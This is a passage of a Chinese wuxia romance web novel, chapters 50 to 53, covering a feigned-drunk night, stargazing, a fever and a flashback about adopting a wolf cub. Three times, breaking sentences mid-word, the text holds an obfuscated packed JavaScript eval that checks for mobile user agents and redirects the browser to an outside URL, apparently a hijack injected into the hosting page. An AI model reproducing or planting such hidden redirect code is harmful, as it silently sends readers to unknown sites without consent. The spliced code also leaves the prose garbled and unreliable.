“但我带都带回来了,总归是我自己喜欢的,不然你以为就凭你的那些小伎俩,我早就一剑一个,够你死好几回了。” “唉……”他愣住了。 这算什么,醉后陈情吗? 玉流大着舌头,继续戳他的心口:“一天十二个时辰,十个时辰都在吃什么虚无缥缈的飞醋,你又不是醋坛子里养出来的,怎么能这么酸,小妹妹的醋你都吃,就非得逼我这样承认是吧,小郎君你真的很会得寸进尺……” 都说醉话不能信,但他还是信了。 树中的欢心同苦伤共生,从来都是被缠树的藤蔓牵引,一举一动一颦一笑,先动心的人卑微,所以不惜断枝求存,引来她一点点的靠近都能自愉许久。 醉酒还是有点好处的,脑子罢工,她变得坦率了,要知道这种话,她在清醒的时候根本不可能说得出来。 敏郎笑着握住她修长漂亮的手指,轻轻咬了咬:“我知道。” “很好,很好,知道就好。”醉酒的人也很死板,她又走回到了原来的那条路上,就是换了个方式,把选择权递给了他。 “这样,要不你玩我吧。” “什、什么?” “忘记问秦辜幸怎么用的了,”玉流尝试了一下,不得要领,“我不会,你来。” “……大人,”片刻的哑然后,敏郎按住她的手,给她盖住露出的风光,“大人,不要乱动。” 玉流恍如失魂,不能对自己做什么,就玩起了他的手指。他谴离心头的爱欲,冷静些许后忆起今夜,他被她的胡闹和胡话哄骗了心智,这时候才发觉她的怪异……是想用他来逃避吗? 逃避什么不难猜,但他只能装作不知。 敏郎捧着她醉红的脸:“大人是不是,哪里不舒服?” “没有,我很好,”玉流缠住他的手指,抬起头,精致的眉眼处盛满了盈盈的水光,“我只是想。” “那大人想大人的。” 玉流被抱住,揉进胸膛,耳边是怦怦的心跳,这颗心的主人说:“我想我的,大人睡觉好不好?” 许是觉得有歧义,怕她误会,敏郎连忙补充:“是单纯的,什么都不做的那种睡觉。” “嗯……?”玉流从不解到更不解,“你转性了?学人家当正人君子了?你不是每天都在偷偷摸摸地勾引我吗?” “我是想,但不可以,因为……我的大人在难过。” 回来后他想了一堆的人,上至万丈峰,下至崇州城,和玉流有点头之交的都一个一个地列了出来,把他们的祖宗十八代问了个遍后,他猜出了是谁。 他不会和真正的死人计较这些,反过来,要是那位泉下有知,被骂的应该是他。 ——师妹,这不是合适的时间,你也不在合适的状态,我并不希望你在这时候对我产生依恋, 那我真的太混账了。 “大人,你醉了。醉了要听话,睡觉好不好?” 玉流若有所思,在考虑他的话对不对:“好像有点道理,可是,可是我脑袋疼,嗡嗡嗡的,好吵好吵,睡不着。” 长大是长大了,孩子脾气倒是一点都没有少,他给她按揉头皮上的穴道:“谁让大人喝那么多的酒。” “两小坛子而已,而已。” 敏郎看了眼,拍掉她伸出的三根手指头,幸好没喝三坛:“以后戒酒吧,大人。” 玉流抽回手:“再说再说,小郎君,唱个曲子吧。” 醉鬼想到一出是一出。 “不会。”他的嗓子不行,唱曲子撑不了这个音色太久。 “那讲个故事吧。” “大人,你是在点菜吗?” “是,有能吃的吗?” “有是有,”他怀疑他不按她的想法来,她能闹一整个晚上,“我讲得不好的。” “你想多了,我只是想用来催眠,哪有精力听内容。” “那我、我开始说了,”他坐正,清完嗓子,打着官腔说话,“从前,有座山,山里有棵树……” 玉流耍脾气,一巴掌拍过去:“这个没意思,说点能听的。” 平白挨了一巴掌,疼是不算太疼,敏郎捂着脸唉了声:“大人你真难伺候,真的不能,乖乖睡觉吗?” “疼。” “你不是疼,你就是……要不然……我们,做点别的吧。” “能做的你不是都拒绝了吗?” “嗯……也不是。” 在醉酒的玉流和清醒的自己之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499327|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,情势已经十分明了了,玉流仗着自己糊涂,铁了心要闹腾。不管是闹她还是闹他,反正最后累的只有他。 既然做与不做都是同样的结果,那他来当个坏人,吃点糖渣吧。 “比方说?”酒劲在体内发酵,轰轰的热意直窜天灵,玉流的头越来越疼,脸也越来越红,眼神都沾染了些呆。 “比方说,”他凑身帮她擦去额头热出的细汗,胆子就这么悄咪咪地来了,“大人,要喝水吗?” “嗯,渴。”玉流嘴巴张着,有点迟钝了,说话慢了一点,意识估计飞散了,傻里傻气的,看起来很好欺负。 他去拿白瓷的茶盏,水早就不烫了,温温的热度,他喝了一口,转回来,红着脸贴上去:“这样喝。” 冰又热的唇碰上来,似曾相识的触感,他那醉酒狠心无情的小师妹被他哄着张开嘴。 水被喂了进去,玉流下意识咽了咽喉咙,钝钝的瞳仁睁大,里面映着敏郎含羞带笑的脸。 得逞了。 桃花眼尾红得发艳,他没有犹豫,俯身压了下去。男女之间的悬殊在此刻演示得淋漓尽致。 ——如果可以的话,他很想这样。 一触即离。 他坐直,眨着眼睛看她。 玉流放慢的手点在嘴角的水渍上:“你——在做什么?” “喂水,”他低声诱骗她,“我觉得要有来有回才好,大人觉得呢?” 她歪着头,努力理解他的意思:“是吗?” “是的,大人要来吗?”敏郎用那张无辜的脸看她,在玉流点头的同时,嘴角的喜悦根本藏不住。果然眼下,还是偷偷摸摸的更适合他。 短暂的闭气窒息让玉流筋疲力尽,想听的故事早就丢到了九霄云外,舌尖唇瓣都发麻了,满心满耳都是他在说的“呼气,吐气,换气……” 不是,他怎么这么会啊。 “因为我看书了,”似乎读懂了她的心声,他呼着并不太稳的气息,在她耳边解释,“有空的话,大人也可以看看,很……很有意思的。” 很长的一段时间,玉流的脸憋红了,起初微弱的气音最后都被吞没在唇间,她是一点说话的力气也没有了,腰肢虚软,任由敏郎揽着,靠在他的肩头。 他轻轻拍着她的背,玉流在平缓的安慰中,慢慢闭上眼,呼吸渐稳。 快要戌时了,她终于睡着了。 真不知道她喝了什么酒,这么有劲,酒气不仅没散,反而都过到了他的身上,闻久了他都要醉了。 “以后喝酒得看着,不然会出大事的。”他自语,柔情的吻落在她的颈侧,留下很浅的一道印红。 不论是从前还是现在,喝醉了胡闹,戴上面具隐藏自己的毛病始终没有变过。没关系,师兄不会怪你,师兄总是心甘情愿被利用。 我那只会耍赖不认账的师妹长大了,变得更加会耍赖了,希望你醒来不要不认账。 当然,师兄也长大了。 胸腔震动,他说:“我也会忍住的。” 夜过半,月亮升上来,木窗格的灰影外,月光在白墙上落下一道清秀的身影。 玉流睁眼,从被子里爬出来,柔顺的长发扫过胸前,撑着半身俯视还在沉睡的枕边人,笑了笑。 双眼清明得哪里像是醉了。 51. 夜观星 遥遥的残月是深埋在黑云边缘的一线银辉,寂寞的小院中,除了月色,唯一的光是小门外那盏将熄的兔子灯。 昏黑中,玉流坐在竹椅上擦剑,看着擦得极其认真,余光却从剑锋落至身后逼近的黑影上。 “不要装鬼。” “我没有装,我只是不知道要怎么打招呼。” “你可以学宝儿,叫一声姐姐。” “姐姐。” 玉流愁眉苦脸之余,难言的心累涌上来。为什么总有人在该睡觉的时候醒来,为什么她想一个人呆一会儿都这么难,这不是她的家吗? 玉流按着额头:“小白弟弟,大晚上的为什么不睡觉。” 小白搬着一张竹凳,坐到她身旁:“白天睡多了,晚上睡不着。” 玉流:“你熬了几天,就睡几个时辰就够了?当我傻吗?” 小白唔了声:“宝儿晚上踢被子,还打呼噜。” 玉流先愣,而后扑哧笑出来:“小弟弟,你不是和宝儿一个屋的吧,你怎么知道她踢被子打呼噜?” 小白在短暂的沉默后,苍白地狡辩:“……路过。” “路过伸脑袋钻进墙看了是吧,”说着,玉流转过椅子,像是发现了什么新奇的好东西,“哎呦,我说弟弟,你的脸好像有点红诶,配合你说的上一句,怎么,你做春梦了?” 小白的脸颊瞬间就红到冒烟了,嘴上还咬死:“不是。” 宝儿下午睡得太久了,不久前醒来过一次,人睡蒙了,赤脚走出来,趴在窗子上叫醒他,问他要水喝。 咕咚咕咚一口碗的凉水喝下去,宝儿睁着水汪汪的大眼睛,上上下下打量了他许久,久到他以为自己身上有什么的时候,她突然来了一句“我可以捏你的脸吗,就是姐姐捏哥哥的那种”。 嘴巴比脑子更快,他说:“不行。” 宝儿拍着睡得发麻的脸蛋:“噢。” 宝儿应该只是好奇,喝够了水就回屋继续睡了,他不是,一个人想了很多,多到天黑还在想,就这样一夜没睡。 “姐姐,说真的,你们能不能注意点,我和宝儿还小,少不更事……” 玉流竖起耳朵:“小弟弟,我现在还醉着,耳朵里面都是轰轰的,听不清,对我有意见就说大声点。” “……没有,我没有意见。”他不敢,勇气只有一次,他不敢再说了。 “没有意见就快滚,我现在很烦。”先被老东西威胁,又去青山做梦,想着回来玩一把占点便宜,居然还被拒绝了。睡到一半蒙头想起自己留下敏郎的初心,她最初真的只是想玩他而已。 什么嘛,平日看到人就开始吃醋演戏,这种时候反而变得纯情了,忍住,什么忍住,搞得她索求无度一样,把自己摘得清清白白。 “不,”小白坐如钟,“我要……看星星。” “你有病,大晚上不睡觉出来看星星,”玉流嗤之以鼻,“没关系,我也有。” “这话……”小白不太确定地问,“姐姐,你还清醒吗?” “清醒,清醒到我大晚上出来吹冷风。” 反话吧,小白觉得玉流没醒,所以才会有一搭没一搭地和他谈天。 “看见哪颗星星了,说来给我听听。” “不认识。” “你在逗我吗?” “我只认识一颗,但今晚没有。” “你母亲教你的?” “不能是别人吗?” “那我换个说法,谁教你的?” “……不是。”这是回的玉流前一个问题。 怕她醉了胡搅蛮缠,小白先问:“敏郎哥哥呢,他没跟着出来吗?” “在睡觉,”玉流轻嘘,放低声音,“你别吵吵,我难得能一个人静静。一天天的,跟影子上长了一个人一样。” “姐姐你是在炫耀吗?” “你觉得是吗?” “虽然听起来像是在抱怨,但是你看起来,很高兴,眼睛都有笑意的那种高兴。” 玉流闭上眼:“你看错了,不准说出去,好了你可以滚了,快滚。” “等等,滚之前让我问一句,就一句,”怕她动手,小白把凳子拖远了点,“宝儿妹妹和敏郎哥哥,留下他们很正常,可姐姐为什么要留下我?外侯官,有这么多的善心吗?” 善心? 她哪里来的善心,玉流拨出被风送到嘴里的发丝:“因为我讨厌姓宋的,是吧,宋白。” “我不姓宋。” “哦,白宋。” “……”小白,“所以姐姐是要用我来威胁镜水山庄吗?” 照玉流睚眦必报的性子,这种说法很有道理的,她和镜水山庄的恩怨不算秘密,虽然逍遥阁从中竭力斡旋,但收效甚微,双方依然相看两相厌。也就是最近这一两年玉流的风头扶摇正盛,而镜水山庄少了一半的人,没落了许多,也安分了许多,江湖中才逐渐少了双方不和的谣言。 是的,玉流称之为谣言。 “人不犯我,我不犯人,有仇报仇,有冤报冤,我和镜水山庄的仇早八百年前就了结了,我就是单纯想恶心宋远徽。” 小白决定实话实说:“姐姐你要失望了,我和他们没什么关系的,我对宋家人都不熟。” “那你在宋家干什么,被当祖宗供起来吗?” “我过我的,他们过他们的,井水不犯河水。” 玉流支着脑袋,醉眼迷离地看着他,似乎在思考他的可信度,不知道想到了什么,笑了:“没关系,我熟,我来和你说。” 玉流大抵醉得厉害,归剑入鞘,下巴磕在剑鞘上:“你有个大伯,二十多年前同夫人意外身死,只留下一个才几岁的儿子,所以你爹临危受命成了代庄主。一个代庄主,毫无真本事,靠着前老丈人,翻身直接把代给掀了。没办法,人烂,但命好。然后是你的三伯伯,你见过的,追你的宋山云,你倒是不用怕他,虽然他虚伪,但是人可比你爹好多了。” “你爹那辈说完了,说说你。你有个亲哥,叫什么来着,哦,宋无,跟他娘走了,我没见过,听说很厉害,杀人很厉害,逍遥阁买凶黄金榜上悬赏最高的人头就是他,不过前几年销声匿迹了。你还有个亲姐,也是你爹的第一个私生子,我见的次数不多,对她和她娘,难以评价。” 说到这里,玉流问:“好听吗?” “还行。” “我说了这么多,换你来了,你娘是谁?” “……姐姐你还真是绝不吃亏的性子。” 小白无法,只得开口:“寻常人,只是长得好看,人不怎么不聪明,出来没多久就被骗了,所以那块黄玉……” 玉流吹风:“不急,放我这儿比你自己收着要安全。还有其他要问的吗,没有就赶紧滚,不然我滚了。” “有,”小白说得急,说完又不急了,拖拉了很久,低头轻声问,“姐姐收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519456|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留我是因为可怜我吗?” “小弟弟,你能活到现在,不该这么笨的啊,你该问‘姐姐你说这些是为了让我记恨宋家,方便以后找他们报仇吗’才对。” “姐姐不是这样的人。” 玉流感慨:“哎呦,这世道还是好人多啊。” “所以为什么,既然恩怨已了,为什么还要讨厌姓宋的人,姐姐你,真的……”真的是讨厌姓宋的人吗? 玉流:“小弟弟,我的脑子是有点慢,但还没有慢这个地步,别以为绕了这么一大圈我就听不出来你想套我话的意图。” 小白:“这么明显吗?” “明显啊,”渐起的酒意让玉流更加容易被情绪左右,望着无边的黑色,她难掩神伤,“小弟弟,孤儿讨厌有家的人,更讨厌有家不能回的人。” “姐姐是孤儿吗?” “差不多。” “还能这样说吗,难道不应该是就是,不是就不是吗?” 玉流的默不作声在小白看来是否认,他绷着脸:“姐姐你真的是在说自己吗?” “不……”玉流如棉轻的脑子时而清醒时而糊涂,她在孤月下看见了海市蜃楼。 眼前聚起一潭幽绿的湖水,绿藻于树下摇曳,一尾红鲤跃起,衔叶而食,鱼尾溅开水花,将绿藻打在枝头,经年累月生成蔓草的模样,逐渐长出蜿蜒细长的藤枝,带着尖尖的勾刺。 它本该上树的,却不知为何突然调转了方位,朝她而来。 只差半寸的距离,嚣张的蔓草竟然变成了她自己。 眼前薄薄的夜雾消散开,玉流平静下来。 白刃静和,映出玉流一侧的眼,一如狼子,野心勃勃。然而许多年前,她还只有一双暗淡冷漠的眼睛。 是从一座山到另一座山的长久年月里,长剑于手,落败从心,在别人的影子中,她握着自己雕的木剑,不甘与不愿存聚,在一个暴雨之夜,她决心撄锋谋上。 不想永远位居第二,更不想永远只是谁的师妹。 但能伤他的,只能是她。 玉流的双眼浴上一层血气,她摸着剑鞘,上面是一道道细腻入微的纹理,祥云游鹤伴着零星的曜石。 世人皆知名剑碎情,但莫悔才是她师父的剑。 在她入山前,师父就将碎情给了宋繁声,而莫悔,直到宋繁声死后,他才交予她。 寒霜流铁,前路莫悔。 但师父在送她下山前,说得却是碎情莫悔。 她曾一度不解,后来发觉,物是人非,很多执念追寻早已没了意义,她只要做好自己认定的事就足够了。 “……不是,”玉流作势起身,“好了,我要走了。” “我叫寻白,赵寻白。”他突然道。 玉流不说话,小白攥着袖子,勇敢道:“姐姐你不问下去吗?” “你叫钱不黑都和我没关系。” “姐姐,你这样会让我很尴尬。” “所以呢?” 小白说得很慢:“白是太白的白。” 在不知看向何处的无言中,玉流终于再多说了一句:“长庚星啊。” “长安少年游侠客,夜上戌楼看太白。”玉流仰头,长庚星不明,她却在似醉非醉的梦中,找到了那颗藏在浮云后的星辰。 她站起来,眼尾垂下,坐太久后有些轻微的眩晕,她用长剑作杖,勉强稳住了身子:“回去睡吧……赵寻白。” 52. 生热病 玉流大抵真的没骗小白,她就是喝醉了脑子有病,忘了白天在山里吹了冷山风,夜里酒醒了一半衣裳就单薄地跑出来,陪着这个蠢孩子观星吹夜风,给自己累得半垮的身子上添上了最后一根要命的稻草。 在一个凉爽晴和的清晨,玉流得到了不爱惜自己的报应。 她发热了。 不正常的红晕与热气烧晕了玉流,本是该起床的时辰却陷入更深的沉眠,像是在云端,又像是在泥潭,她醒不过来,先醒过来的成了抱着她睡觉的敏郎。 怀里的人满身呼呼的热风,像夏末的火炉,又湿又烫。 “大人,大人?” “呃,嗯……呼……别……” 玉流难受地皱起眉心,动着喉咙,勉强发出点声音回应,而眼睛,根本睁不开。 看着她的反应,敏郎察觉到了不妙,放在被子外凉了的手背盖上她的额头,很烫。 “大人,你病了。” “没、呕……没有。” 生病了依然嘴很硬。 敏郎叹气:“大人,你摸摸你自己,烫得都快熟了。” “胡、胡说。”玉流翻身,努力地抬起手,手掌也是热的,额头也是热的,她没感觉到任何的差别,只能感到无力和酸软,还有咽喉要死的痛感。 “小郎君,”玉流觉得咽颈仿佛被撕裂了,干咳着,“咳咳咳,我……喉咙……疼。” 病来如山倒,玉流捂着自己的喉部,半张脸都在抖,她实在是吞咽艰难。昔日剥皮露骨,血流不止,十天半个月才能好的外伤她能眼睛都不眨一下,而这种连伤口都看不到的咽喉软肉居然能要了她的命。 他娘的,怎么能这么疼。 热汗从额头流下,眼皮松软得不行,热红的脸颊冒着水花,枕头已经湿透。 她很少喊疼的。 敏郎贴着她的额头轻声安慰:“会好的,我去找郎中。” “等、等等……”玉流抓住他的手,吐着热气,“去东庐街,那边安全。” “好,”他将玉流的手放回被中,“别担心,我知道的。” 他走出屋子,叫住在院子里没睡醒发呆的小姑娘:“宝儿,有空吗,出门去东庐街找家医馆,请郎中过来一趟。” “怎么,你病了吗,”宝儿睡眼惺忪地打着哈欠,“你自己去。” “不是我,”他道,“大人病了。” 宝儿眼皮一抽,一个激灵人都醒了,调动四肢小跑起来:“小白,小白!别研究怎么做饭了,快陪我去找医馆!” 一刻钟后,宝儿风风火火地跑了回来:“哥哥,人来了,人来了!” 老郎中外袍的一管袖子都还没穿上,叉着腰喘着气,甩掉袖子,不忘行礼:“等、等我,缓一会儿,啊,小老儿……东庐街孙家医馆第十五代传人孙值,呼……呼……拜见玉大人,唉,玉大人呢?” “在里头,孙郎中这边请。” 敏郎拿下被烘干的帕子沾湿,重新放在玉流额头,试图帮她抚平因痛苦而紧皱的眉头:“大人她,怎么样了?” 孙郎中松开玉流的手腕:“大人生了热病,来势汹汹,今明两日会过得比较辛苦。” 敏郎点头:“大人还说嗓子疼。” “是,风热邪毒,从口鼻而入,喉痹之症是也,小老儿开几副药,热病三四天就能调理好,喉痹会慢一些,切忌辛辣冷寒之食物,最重要的是不能再受凉了。” 敏郎朝他道谢:“劳烦您赶过来。” “小事,小事,”老郎中擦着脸上吓出的冷汗,见到宝儿讪讪摆手,“小闺女,这次就不用拽了吧。” 宝儿愧疚:“对不起爷爷,我太急了。” 敏郎也道:“一时着急,礼数不周,请您见谅,我送您回去吧。” “不用不用,小郎君留下照顾玉大人,”孙郎中背起药箱,婉拒道,“小老儿一个人反而不引人注目,抓好方子后会让人送过来的。” 敏郎看着玉流,想了想:“那真的麻烦您了。” “小郎君客气了,这都是小老儿该做的。” 孙郎中办事效率不错,一会儿的工夫,他身边跑腿的药童就揣着几副药送了过来,贴心叮嘱好注意事项,鞠躬完便离开了。 宝儿凑过来:“哥哥快去煎药吧,我会照看姐姐的。” 敏郎拎着药,冷着脸警告她:“可以,但你不准吵她。” “我知道,快走快走。” 赶走了哥哥,宝儿趴在床边守着,隔一段时间就给玉流换帕子。姐姐的热病太猛了,裹着几层的厚被子,浑身出汗,可是身子还是很烫,半盆子的水都快用完了,额头的温度好像还没降下来。 宝儿撅着嘴可心疼了:“姐姐,我帮你记住了,哥哥不靠谱的,咱们以后找个更好的,不要护着他了哦。” 敏郎踩着这句话走了进来:“我说过,你不要乱说话。” 宝儿鼓着腮帮子,一幅你能奈我何的模样:“我又没吵姐姐,我只是在说一些大实话。” 敏郎也不待见她,将药放在木桌上,拿起木盆出去重新倒了半盆水,然后跟宝儿道:“你可以走了。” “走就走,我找小白做饭去,不给你吃!” 他等着宝儿走远,转身关上门,浸湿帕子给玉流润湿嘴唇,小心地扶她起来:“大人,大人,能听见我说话吗,吃药了。” 敏郎重复了好几遍,玉流终于有了点意识。吃力地睁开眼,看见了模模糊糊的好几个人影,好晕。 “唔……不……”玉流想说话,可是嗓子干疼,吞刀子似的,她摇头,表示自己不想吃。 “不行,吃药,”一股扑面而来的草药味,不用想都知道会有多苦,敏郎笑笑,“趁现在嗅觉味觉都不灵敏,赶紧吃了。” “不要。” “再说不要我喂大人了,大人觉得我会怎么喂?” “……” 酒意糊涂的是脑子,病意糊涂的是身子,玉流举起还软着的手接过碗:“不、不用,我自己吃。” “呕,”刚喝了一小口就不想喝了,“好苦。” 敏郎毫不犹豫地戳穿她:“我不觉得大人能尝出来。” “……”玉流的确尝不出来,只有一股涩涩的味道浇过滚刀尖的喉咙。 敏郎狠心把药汤推回到她的唇边:“喝了。” 她委屈:“疼。” 他只得像哄几岁的孩子一样:“我知道,乖乖喝完,喝完睡觉,睡醒了就不疼了。” 玉流被哄着喝完药不久,章囚带人赶了过来。 宝儿来说的时候敏郎毫无惊讶之意,他知道瞒不住,就是觉得烦,还不得不去应付这位章大人。 章囚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533816|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看完玉流,脸色阴恻地走出来:“你应该照顾好她。” 敏郎也不让:“章大人,在以什么身份指责我?” 章囚:“她的顶头上司,如果小郎君连这点小事都做不好,我不介意替玉流重新找个人来。” 躲在墙后一边吃早饭一边偷看的宝儿以为敏郎哥哥会反驳,不曾想他居然认了。 敏郎点头:“是我的错。” 陪她胡闹太久了,酒气过到了他身上来,后半夜也同醉酒一般,玉流什么时候起来的他都不知道,更不知道她在月下看了半宿的星星。 从得知玉流生病起就一直没怎么说话的小白深吸一口气,一人做事一人当,他刚走出去半步,就被宝儿拉了回来。 “你干嘛呢?” “其实,是我的错,我夜里看见姐姐了,我应该叫醒哥哥的。” “大人的事情,你俩就不要掺和了,”跟着的外侯官是来送吃食的,他清楚自家大人的性子,拦住两个孩子,“再说了,玉大人不可能醉的。” 知情的小白:“不是,这位哥哥,姐姐真的醉了,半夜还在院子里吹冷风。” 外侯官:“不可能啊,玉大人千杯不醉。” 宝儿咬着包子:“啊?姐姐这么厉害?” “当然了,”外侯官捂着嘴,低声道来,“你们是不知道,诸大人之前试过的,喝的还是他自己私藏的陈年老酒,烈得不行,战绩可查,曾经在某年除夕放倒了侯官署几乎所有的人。据说他和玉大人拼酒,自己都倒下了,玉大人还坐得端端正正,脸都没红一点!” 小白呆住了:“那昨夜……” 外侯官嘘了声:“玉大人有自己的打算,章大人也有,你俩吃好就行了。” 他跟在章囚身边也算有年头了,自从玉大人带着人回来后,章大人就没怎么笑过。难得有个机会,也算是给自己大人出口气。 墙后嘀嘀咕咕岁月静好,门前的章囚却是发作不得。东庐街的孙郎中是自己人,方子开了,玉流药也喝了,他没有再留下的理由了,只能道:“我明日再过来,你……好生照顾她。” “我知道,不劳章大人费心。” 屋里躺着的玉流不知道外头发生了什么,浑身不得劲,五官都蒙上了一层的沙砾,什么都是混沌的。 脑子很疼,喉咙很疼,药里不知加了什么,药效上来,本来疼得死活睡不着,后来竟也昏昏沉沉地睡过去了。 迷迷糊糊中,脸上似乎凉快了一些,她拿脸颊蹭了蹭,记忆飘到了从前。自己已经很久很久没有生过这么严重的病了,上一次病成这样,她还没离山。 因为讨厌吃苦,所以每逢生病都很不听话。她还小的时候师父能直接动手给她灌进去,后来她大了,师父是一刻都忍不了,转头就把宋繁声提溜过来:“你,想办法,让她把药喝了。” 宋繁声:“师父,你高看我了。” 李长庚不管:“我去逍遥阁了,她病好之前我都不会回来的。” 宋繁声屈服于李长庚蛮不讲理的强权,心疼又心累地开始哄玉流吃药。 玉流烧成浆糊一样的脑子晕眩,人偶似的靠坐起来,身边坐着的是谁她都看不清。 “师兄……师兄……” “嗯……我在。” “师父呢?” “师父……也会在的。” 53. 捡小狼 十六岁的玉流挺着小身板,有礼貌地敲响李长庚书房的门,清亮道:“师父,有空吗,我有事和您说。” 玉流十五岁之后便很少会有这样有求于人的情态,李长庚觉得稀奇,放下手里的书:“要为师做什么。” “额,就是,这个您觉得该怎么办呢?”玉流束着手,移开半步,身后跳出来一头小狼。 半大不大,灰粽的毛发蓬松,狼耳垂着,怯着身子抱着玉流的裤脚,看着亲人可爱,眼神却黑亮得惊人,牙齿爪子更是尖得厉害,李长庚只用一眼就可以想象它在夜里幽幽狩猎的狼态。 李长庚:“为师是瞎了吗?” “不是,”玉流替他说,“您还年轻,不至于老眼昏花。” 李长庚被玉流的诚实堵得一口气咽不下:“罢罢罢,这头狼哪里来的?” “我捡来的。” “什么?” “山谷那边。” 小狼的由来还得从几个时辰前说起。 天都还没亮透,散养在院子里的雄鸡准点报晓,熬了一宿研磨剑法的玉流绝望地钻出被子,呆滞地盯着窗外看了一会儿,勉强醒过来一点。最近枯水期,她得趁着早上还不太热,去给宋繁声那棵种了几年还不会开花结果的桃树浇水。 “哈……啊呼。”玉流打着哈欠,眼泪都流出来了,一边提着水桶一边大骂宋繁声,要不是借此可以练点基本功,她早就把这棵光棍几年的树给砍了。 玉流浇完水,坐在树下喘气,她不是累,而是困,额头突突地疼,像是被碾压过一样,身子根本吃不消底子里的倦怠。 玉流痛定思痛,暗暗发誓,今晚决不能再熬夜了,想着,眼皮就撑不住了,后仰着躺在树荫下,眯眼避开叶隙间的光,只消片刻,便睡了过去。 浅浮的睡梦中,似乎一道身影缓缓靠近。不熟悉的脚步,不熟悉的声息,不熟悉的香气,她很想看看是谁,但是她醒不过来。 影子停在身前,很温柔地摸着她的脸,而她则是被鬼压身了一般,睡得更深,等到再睁眼的时候,就看见了这头小狼在舔她。 她同小狼大眼瞪着小眼,没有惊慌尖叫,而是在思考那道像是鬼魂的人影。 半晌,她否定了这种想法。万丈峰山陡路险,除了正山门,常人根本不可能从其他的地方进来,更不可能来到这处的山谷。 至于非常人,这里才死过人,短时间内不该再会有人这么不长眼。她应当是睡得不安,误把树的影子当成了人。 “去,”玉流往后挪了点,学着师父驱赶偷吃小米的鸟雀的样子,对着小狼摆手,“去去去……” 李长庚打断笨蛋徒儿的笨蛋举止:“然后呢?” “然后,”玉流抿着唇,“然后它歪了歪脑袋,嗷了声,抱着我的腿死活不松爪子了。” 玉流总结:“我只能带它过来了,经过就是这样。” 李长庚无奈地拍着自己的脑门,又问:“母狼呢?” “说来您可能不信,我没见着,而它,”玉流指着小狼,“凭空冒出来的。” 李长庚:“阿玉,是你十六岁,不是为师十六岁!” 玉流:“真的,我骗您做什么?” 李长庚摇着头,显然是不行,抬手拎起小狼的脖颈把玉流解救出来,亲自领着人又去山谷寻了一遍。 一如玉流所言,真的一点狼的踪迹都没找到。 李长庚捶着腰:“罢了,你留着吧。” “可是师父,我不想养。” 她哪里有心思养,一天就这么短,她只想练剑练剑练剑,找出点闲碎的时间都很难,哪里还有闲工夫照顾一头狼? 李长庚抬起一只眼睛,听懂了她的小心思:“所以你是想让我养?” “嗯。您看起来很无聊,养花养菜养鸡,不如养头狼吧。”玉流说完,拿小腿骨踢踢小狼的屁股,小狼极其通灵性,嗷呜一声,飞身扑倒李长庚,趴在他的身上,熟练地开始舔人。 玉流笑得极其伪善:“师父,它好像更喜欢您。” “呵呵,”李长庚摸着满脸的口水,爆发了养孩子多年来的第一声怒吼,“玉流!” 玉流“嫁祸”的计策毫不意外地失败了,她的好好师父坚决不让半步:“养你和你师兄我就够累了,现在再来个不会说话的狼崽,是想要我的命吗!别来拉脸这一套,我不是你师兄,不会心软由着你来,反正你捡的你养。” “哦,”玉流瞬间就收起假装的可怜,勾勾手叫下小狼,“我先给你找肉吃,以后能抓到猎物了就赶紧走。” 小狼就这么留了下来。 这种小兽长得飞快,简直就是一天一个样,狼牙没长好前李长庚还不担心它会把玉流啃了,他反而更担心玉流会先把小狼养坏了。 因为他发觉玉流在把狼当狗养。 吃饭的时候,玉流举着骨头:“坐下,站好,行礼,装睡,乖,给你吃。” 李长庚忍无可忍:“……阿玉,它是狼,不是狗。” 玉流拿着骨头:“啊,师父,狼不能当狗养吗?” “你怎么和你……”母亲一个样。 李长庚叹息:“算了,你师兄快要回来了,让他帮你养。” 一提到宋繁声要回来,玉流眼睛都亮了,克制着发问:“师兄什么时候回来?” 李长庚给玉流夹了一筷子的菜,意有所指:“就这几天吧,他向来没个准数,你也不必去山路上等着。” 玉流转眼冷漠:“我知道,我去等他干什么。” 李长庚瞄了她一眼,也不戳穿:“那就吃饭,狼不准上桌!” “去去去,”李长庚费劲地压着故意作对小狼,身后睁开了眼睛,“阿玉你也别笑,现在由着它胡来,以后有你后悔的时候。” 师父的话在几天后应验。 孩子大的小狼正是爱折腾的年纪,某天灵光一现,张嘴呲牙就开启了拆家的天赋。 等玉流发现的时候,她的屋子已经是一滩狼藉了。 除了宋繁声送她的那些稀奇古怪的小玩意被放进柜子里没有惨遭狼嘴外,其余的能霍霍的都被小狼咬得稀碎。 李长庚背着手经过,看了一眼,凉凉道:“不准让它进为师的屋子。” 